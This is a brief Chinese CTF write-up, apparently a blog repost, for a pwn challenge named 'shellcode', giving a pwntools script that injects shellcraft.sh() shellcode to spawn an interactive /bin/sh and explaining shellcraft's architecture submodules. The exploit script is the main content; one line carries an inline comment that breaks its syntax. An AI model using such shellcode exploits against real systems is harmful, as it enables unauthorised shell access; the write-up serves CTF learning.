*CTF——shellcode

一看题目是利用shellcode解决问题

伪代码:

checksec:开启了NX

exp:

from pwn import*
   context(os='linux',arch='amd64',log_level='debug')
   p = process('./shellcode')
   shellcode ='s\x00'+ asm(shellcraft.sh()):'s\x00'是进入循环,shellcraft.sh()则是执行/bin/sh的shellcode了
   p.recvuntil("give me shellcode, plz:\n")
   p.sendline(shellcode)                                                                                 
   p.interactive()

shellcraft模块是shellcode的模块,包含一些生成shellcode的函数。
其中的子模块声明架构,比如:

shellcraft.arm 是ARM架构的,

shellcraft.amd64是AMD64架构,

shellcraft.i386是Intel 80386架构的,

shellcraft.common是所有架构通用的。


猜你喜欢

转载自www.cnblogs.com/ctf-pwn-player/p/10787731.html
ctf